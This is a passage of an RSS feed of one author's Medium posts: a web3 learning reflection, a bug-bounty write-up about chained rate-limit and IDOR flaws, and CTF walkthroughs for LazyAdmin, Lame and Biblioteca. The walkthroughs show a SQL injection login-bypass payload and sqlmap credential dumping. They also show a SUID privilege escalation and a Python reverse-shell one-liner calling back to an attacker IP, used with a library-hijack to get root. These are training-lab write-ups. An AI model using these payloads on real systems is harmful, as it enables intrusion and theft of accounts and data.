in tutorial hell.</li></ol><p>Although It didn’t go as planned, still I learned a lot.</p><h3>Struggles I faced:</h3><p>There are an enormous amount of resources available on the Internet for learning Blockchain/web3. Due to the presence of many resources, I got overwhelmed and confused at the same time. I was having a hard time deciding where to start and what to do next.</p><p>Some days I felt like this is not enough, I need to learn more and quickly (as fast as I can) which made me start to learn everything at the same time. This further lead me to not remember a single thing I did that day due to over-multi-tasking.</p><p>However, #30dayofweb3 forced me to progress daily and helped to learn something new.</p><h3>What I learned</h3><p>In my journey of exploring the world of blockchain, I have come to learn about Ethereum and its fundamental workings. One of the key features of Ethereum is its ability to support smart contracts, which are self-executing contracts with the terms of the agreement between buyer and seller being directly written into code. As a result, these contracts are tamper-proof and can be executed automatically without the need for intermediaries.</p><p>However, with this power comes responsibility, and auditing smart contracts is crucial to ensure their security and reliability. I have also delved into the Solidity programming language, which is used to write smart contracts on Ethereum. I also tried reading different Audit reports which seems challenging for me (as of now).</p><h3>Key Takeaways:</h3><p>Here are the key takeaways from my #30dayofweb3 challenge:</p><ol><li><strong>You Have to Be Willing to Struggle</strong>: Learning about blockchain, web3, and Ethereum is not easy. There were times when I felt like giving up, but I reminded myself of the importance of persistence and pushing through challenges.</li><li><strong>It Will Take Time: </strong>I realized that I don’t have to know everything about blockchain, web3, and Ethereum right away. The more I learned and practiced, the more comfortable and confident I became in my understanding.</li><li><strong>Make Coding a Habit</strong>: Through the challenge, I learned a little about Solidity programming language, which is used for building smart contracts on the Ethereum blockchain. I realized that consistency is key to learning any programming language or skill.</li><li><strong>Learn to Love the Struggle</strong>: I discovered that the process of learning something new can be frustrating and challenging, but it’s important to embrace the struggle and find joy in the journey.</li><li><strong>Community Is Essential</strong>: I found that having a supportive community is crucial when tackling a challenge like this. I connected with other learners on Twitter, Discord, YouTube, and other platforms, which helped me stay motivated and inspired.</li><li><strong>Consistency Is Key</strong>: Through the challenge, I learned the importance of being consistent and making time for learning every day. Even if it’s just a small amount of time, consistent effort and progress over time lead to significant results.</li></ol><p>“SLOW PROGRESS IS STILL A PROGRESS!”</p><p>Overall, the #30dayofweb3 challenge helped me build consistency and eagerness to learn and take on new challenges. I am excited to continue my journey in blockchain and web3 and see where this knowledge takes me in the future.</p><h3>Resources I used:</h3><h4>YouTube:</h4><ol><li>Andy Li: <a href="https://www.youtube.com/@andyli">https://www.youtube.com/@andyli</a></li></ol><p>2. Secureum: <a href="https://www.youtube.com/@SecureumVideos">https://www.youtube.com/@SecureumVideos</a></p><p>3. Owen Thurm: <a href="https://www.youtube.com/@0xOwenThurm">https://www.youtube.com/@0xOwenThurm</a>’</p><h4>Discord:</h4><ol><li>Web3SecurityDAO: <a href="https://discord.gg/wGNUSqDDtw">https://discord.gg/wGNUSqDDtw</a></li></ol><p>2. SolidityScan: <a href="https://discord.gg/Gx8gPxCKcT">https://discord.gg/Gx8gPxCKcT</a></p><h4>Udemy:</h4><ol><li><a href="https://www.udemy.com/course/web-3-dapps-smart-contracts-for-pentesting-bug-bounties-by-hacktify/">https://www.udemy.com/course/web-3-dapps-smart-contracts-for-pentesting-bug-bounties-by-hacktify/</a></li></ol><p>I would be happy to connect over Socials :)</p><p>|| <a href="https://twitter.com/namx05">Twitter</a> || <a href="https://linkedin.com/in/namx05">LinkedIn</a> ||</p><p>Happy Hacking o7</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=631b23c15d11" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/my-journey-and-lessons-from-the-30dayofweb3-challenge-631b23c15d11">My Journey and Lessons from the #30dayofweb3 Challenge</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My first HOF: Story of a chained Broken Access Control]]></title>
            <link>https://infosecwriteups.com/my-first-hall-of-fame-with-a-chained-broken-access-control-76f9e2e0e467?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/76f9e2e0e467</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec-write-ups]]></category>
            <category><![CDATA[info-sec-writeups]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Thu, 02 Feb 2023 09:49:38 GMT</pubDate>
            <atom:updated>2023-05-22T17:49:21.344Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog is about how I got my first HOF after chaining multiple bugs.</p><p>Let’s get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YnxEc19eAxV_dMOX8myAaA.png" /></figure><h3>What is Broken Access Control</h3><blockquote>In simple words, BAC means you are able to perform certain actions or fetch certain files which you are not authorized to.</blockquote><h3>The Bug</h3><p>Let’s name the program <strong><em>redacted.com</em></strong>. After some enumeration I found a support page i.e. <strong><em>redacted.com/support</em></strong> which has a login feature. I created an account i.e. <strong>Attacker1</strong> and started exploring with it.</p><p>Later I found that you can create ticket in the help desk section. I simply files a test complaint and created a ticket and checked the Burp History I was a parameter named opener ID. Then I got two ideas, Rate Limit and IDOR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*vOLvyO1izUJkP4K8weodog.png" /><figcaption>Request Captured in Burp while submitting the ticket</figcaption></figure><h4>Bug 1: Rate Limit</h4><p>For this, capture the request in Burp while submitting the ticket &gt; send the request to intruder &gt; add the position &gt; start the attack. As expected, there was not Rate Limit and I was able to create as many tickets I want.</p><h4>Bug 2: IDOR</h4><p>Since I already the ID parameter in request, I created another account i.e. <strong>Attacker2</strong> without wasting any time.</p><p>I created a ticket with the Attacker1’s account &gt; Captured the request &gt; changed the ID number with Attacker2’s ID &gt; send the request to intruder &gt; add the position &gt; start the attack.</p><p>And as expected, It worked. I was able to create as many tickets as I want in other users help desk portal.</p><h3>Impact</h3><p>By Doing so, an attacker can create many unwanted tickets which can be a hectic for the support team to close the tickets as well as the user’s too and can also spam the user’s email.</p><h4>HOF</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*nAQHhEJDGYJKlnPz6xmwJA.png" /></figure><h3>Outro</h3><p>Thanks for reading this writeup. This is my first blog related to Bug Bounty, so Feedback is appreciated. And if you have any doubt, you can reach me at:</p><p>| <a href="http://linkedin.com/in/namx05">LinkedIn</a> | <a href="http://twitter.com/namx05">Twitter</a> |</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76f9e2e0e467" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/my-first-hall-of-fame-with-a-chained-broken-access-control-76f9e2e0e467">My first HOF: Story of a chained Broken Access Control</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: LazyAdmin]]></title>
            <link>https://infosecwriteups.com/tryhackme-lazyadmin-9441e1240cb7?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/9441e1240cb7</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[info-sec-writeups]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Sun, 12 Jun 2022 09:05:00 GMT</pubDate>
            <atom:updated>2022-06-12T14:01:12.839Z</atom:updated>
            <content:encoded><![CDATA[<h4>Walk-Through</h4><h3>Intro</h3><p>Hola Gente!! This time I’ll tell you how to solve <strong>Lazy Admin</strong> from Tryhackme. So without a further ado, let’s exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vsxj_eL6_OjXbWNlgAcxOw.png" /></figure><h3>Initials</h3><pre>nmap -sC -sV $IP </pre><p>After nmap scan, Port 80 was found to be open. Upon visiting the site:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*Fs5fmOO4IedoMleWqbY1_Q.png" /></figure><p>Ran the directory searching with <strong>gobuster</strong>, we found <strong>/content/inc</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*xE0npiiNkO0VeAPizY9yKQ.png" /></figure><p>Downloaded the file and got the password <strong>hash:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8I0YAthm3obpXj3NnLD96Q.png" /></figure><p>Cracked the password with <strong>hashcat </strong>and <strong>rockyou.txt </strong>as wordlist, got the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*Mmh-oJNRiFu_Y-5HLDjmJA.png" /></figure><p>We found the login panel at <strong>/content/as</strong>, logged in as admin and got the CMS admin dashboard</p><h3>Exploit:</h3><p>After we logged in, we found there were a section in which we can add out code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*Csnu1B6MjyctkF_R9odvQg.png" /></figure><p>Added the php reverse shell code and added the file name as <strong>reverse.php</strong></p><p>we can access the code at <strong>/content/inc/ads</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*D1ke4eKC0g5oya1B_TD5dw.png" /></figure><p>Start the <strong>listener </strong>and run the <strong>reverse shell </strong>to get the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3FoPuDOlkQCax4JAnUaMMQ.png" /></figure><p>Now time for root :D</p><p>There were a rabbit hole with the file containing the mysql credentials. But aside of that rabbit hole, we found that the user can run one command with root permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*Pz-dYKue8sJSRQIspwX3_Q.png" /></figure><p>Checking the backup.pl file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*TBvFSsodKbexoKz0yRqPyg.png" /></figure><p>It was running one bash script. Checked the shell script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*YQwYC__BVBYPhDYErjavZA.png" /></figure><p>It is a reverse shell code, and that user has write permission to that file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*-kr-SZamPp7ovXRxXoeYPQ.png" /></figure><p>Changed the contents of the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*9duKBJGnadPO_ptLhpv3cQ.png" /></figure><blockquote>So what this line will do?<br>This will copy the local <strong>/bin/bash </strong>file to <strong>/tmp </strong>and give the <strong>SUID permission </strong>so that we can run the <strong>/tmp/bash </strong>file as <strong>root</strong></blockquote><p>Run the command to get the SUID permission and then execute the bash file to get the root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pavNoxbqvxU8_leaiAPSlA.png" /></figure><h3>Outro</h3><p>With this we completed the this room, we’ll meet in next room. Till then, <strong>Happy Hacking </strong>o7</p><p>|| <a href="https://tryhackme.com/room/lazyadmin">Room</a> || <a href="https://twitter.com/namx05">Twitter</a> ||</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9441e1240cb7" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-lazyadmin-9441e1240cb7">TryHackMe: LazyAdmin</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackThebox: Lame]]></title>
            <link>https://infosecwriteups.com/hackthebox-lame-649ae6d39ac6?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/649ae6d39ac6</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Tue, 31 May 2022 08:03:28 GMT</pubDate>
            <atom:updated>2022-05-31T13:39:32.668Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox: Lame</h3><h4>Walk-through</h4><p>Hey guys, this time I’ll root Lame from <a href="https://app.hackthebox.com/home">Hackthebox</a> which is a rated as Easy Linux machine.</p><p>Without a further ado, let’s exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qIpRZfXl-IJGX8ZwZnYUTw.png" /></figure><h3>Initials:</h3><pre>export IP=10.129.99.7</pre><h4>port scanning</h4><pre>rustscan -a $IP --ulimit 5000 | ports.txt</pre><p>Got three open ports i.e., 21 (ftp), 22 (ssh), 139 (samba)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*CUFBqbZIo-jFLAWKMqLXRA.png" /><figcaption>rustscan results</figcaption></figure><h4>nmap</h4><pre>nmap -sC -sV -p21,22,139 -oN namp $IP -Pn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RZsOXhNCMRuMaa6he9WJfg.png" /><figcaption>nmap results</figcaption></figure><h3>Exploit</h3><h4>FTP</h4><p>I found that anonymous login allowed in FTP, so I logged in in ftp service</p><pre>ftp $IP</pre><p>but there was no files.</p><p>Later I checked for the <strong>vsftpd 2.3.4</strong> exploit and found one Exploit named “<strong>backdoor</strong>”. I used Metasploit and other scripts but failed to get a session/shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*2R01BU5_grimuPyvU7GREw.png" /><figcaption>failed to exploit FTP</figcaption></figure><p>Later I found in module description</p><blockquote>This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.</blockquote><h4>Samba</h4><p>Since FTP exploit didn’t work and I don’t have ssh credentials, I went for samba. There was one writable share name tmp whose some files are not accessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hUJXkvDLQspwRHOCbILhKg.png" /><figcaption>smb shares</figcaption></figure><p>Found the exploit for samba named “username map script” command execution</p><p>I got the exploit script from<strong> </strong><a href="https://github.com/amriunix/CVE-2007-2447"><strong>GitHub</strong></a> and modified the payload (and added some tweaks XD).</p><p>Syntax for the script was</p><pre>./username.py &lt;rhosts&gt; &lt;rport&gt; &lt;lhost&gt; &lt;lport&gt;</pre><p>→ Start the listener</p><p>→ ran the script</p><p>and got the shell as root. There was no need for PrivEsc (:</p><h3>Proof</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*Ig3cB94biMz9H2JgPbW_Og.png" /><figcaption>user and root.txt</figcaption></figure><h3>Outro</h3><p>That’s all for this machine, we’ll meet in next blog. Till than, Happy Hacking o7</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=649ae6d39ac6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/hackthebox-lame-649ae6d39ac6">HackThebox: Lame</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Biblioteca]]></title>
            <link>https://infosecwriteups.com/tryhackme-biblioteca-c56be949564c?source=rss-7974b1ff45da------2</link>
            <guid isPermaLink="false">https://medium.com/p/c56be949564c</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[info-sec-writeups]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Naman Jain]]></dc:creator>
            <pubDate>Sat, 21 May 2022 14:54:18 GMT</pubDate>
            <atom:updated>2022-05-22T09:05:07.533Z</atom:updated>
            <content:encoded><![CDATA[<h4>Walk-Through</h4><h3>Intro</h3><p>Hey folks! This time, let’s root <strong>Biblioteca </strong>room which is rated as <strong>Medium</strong> (difficulty) in <strong>TryHackMe</strong>. Let’s root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*ruqFUGzYnzS0tnhkWbC_zQ.png" /></figure><h3>Initials</h3><pre>export IP=&lt;your_IP&gt;</pre><h4>Enumerations</h4><p>let’s start with port scanning:</p><pre>rustscan -a $IP --ulimit 5000 | tee rustscan.txt</pre><p>With rustscan we got to know that there are two open ports i.e. 22 (<strong>ssh</strong>) and 8000 (<strong>http</strong>).</p><p>let’s get deep into these ports.</p><pre>nmap -sC -sV -p22,8000 -Pn -oN nmap $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pIqfRUxT1S2oIJAjDGM_fg.png" /><figcaption>nmap scan results</figcaption></figure><p>I checked port 8000 since I don’t have any ssh credentials :)</p><h4>port 8000:</h4><p>Upon visiting the http site, there was a login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*KREP9Z47BDhPmubhEOx8Yw.png" /><figcaption>login page</figcaption></figure><p>I created an account and logged in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*32BIY0GbDwyeQlyZZPanVQ.png" /></figure><p>there was nothing, which was fishy.</p><p>I ran <strong>gobuster </strong>scan, but didn&#39;t got any other page.</p><p>Then I tried for <strong>SQLi</strong>, and guess what? It worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*hCcrGL_i21foEZq2w0Q2Zw.png" /></figure><p>I tried simple payload in <strong>password field</strong> i.e. &#39;or 1=1 -- — and we got logged in some other users account named <strong>smokey</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*sDA5D8cXqrPw_NbExH_oDw.png" /><figcaption>smokey account logged in</figcaption></figure><h3>Exploit:</h3><p>I quickly fired up <strong>Burp Suite</strong> → captured the request → Saved the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*pJ_JYgyIh23ry68BO-EGBQ.png" /><figcaption>burp image</figcaption></figure><h4>sqlmap</h4><pre>sqlmap -r sql.req --dbs --dump</pre><p>and got the <strong>username</strong>,<strong> email </strong>&amp; <strong>password</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*aexzjZFSv_37jLUkKj3I_w.png" /><figcaption>sqlmap results</figcaption></figure><p><strong>SSH </strong>with the credentials and get the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/1*_iTI9X1tFGMAT8CK_3PRMg.png" /></figure><p>But wait, we didn’t have permission to read<strong> user.txt</strong> file, because the owner is another user named hazel</p><p>after spending some time on post compromise recon, I didn’t find nothing.</p><p>Later I checked the TryHackMe’s official discord channel for some discussion room and got to know that the other user hazel&#39;s password was <strong>VERY weak</strong>.</p><p>At first, I ran hydra with 100 common passwords from <strong>Seclists </strong>→ Failed</p><p>then in frustration I entered the password as username and it worked. i.e. the password is username (<strong>hazel:hazel</strong>)</p><p>Now I got the <strong>user.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*yjZRsenrPKyfwbN4AZR00Q.png" /></figure><h3>PrivEsc:</h3><p>If you have the password of the user, first thing to run is sudo -l :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZpKg2VZ5_5ChNm845Lmww.png" /></figure><p>Saw that <strong>SETENV</strong>, which means we can set the environment variables while running the mentioned command as root!</p><p>Viewing the <strong>hasher.py</strong> file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*Snc0MnxCoJGL-stcZxayCg.png" /></figure><p>After some research/googling I came across 2 blogs/articles which was very helpful (links are at the end).</p><p>There is some kinda <strong>python lib hijacking.</strong> In short, to hijack, follow the steps:</p><ol><li>get the location of python library (which is being used), in our case its <em>/usr/lib/python3.8/</em></li><li>copy the <strong>hashlib.py</strong> file to <em>/tmp</em></li></ol><pre><em>cp /usr/lib/python3.8/hashlib.py /tmp/hashlib.py</em></pre><p>3. add the <strong>reverse shell </strong>in the hashlib.py file (where ever you want)</p><p>reverse shell used:</p><pre>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;your_IP&quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;sh&quot;)</pre><p>4. Start the listener</p><pre><em>nc -lnvp 1234</em></pre><p>5. to get the <strong>shell</strong>, run the command</p><pre>sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/hazel/hasher.py</pre><blockquote>The PYTHONPATH environment variable indicates a directory (or directories), where Python can search for modules to import.</blockquote><p>and there go I got the shell. <strong>Stabilize </strong>the shell and get the <strong>root.txt</strong> file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*SeD2HpGR2d11c0YALKj4MA.png" /><figcaption>root</figcaption></figure><p>So with this, we have completed this room.</p><p>Thanks for reading this blog. See you in the blog, till then <strong>Happy Hacking o7</strong></p><p>|| <a href="https://tryhackme.com/room/biblioteca">Room</a> | <a href="https://twitter.com/namx05">Twitter</a> | <a href="https://www.hackingarticles.in/linux-privilege-escalation-python-library-hijacking/">Blog1</a> | <a href="https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8">Blog2</a> ||</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c56be949564c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-biblioteca-c56be949564c">TryHackMe: Biblioteca</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>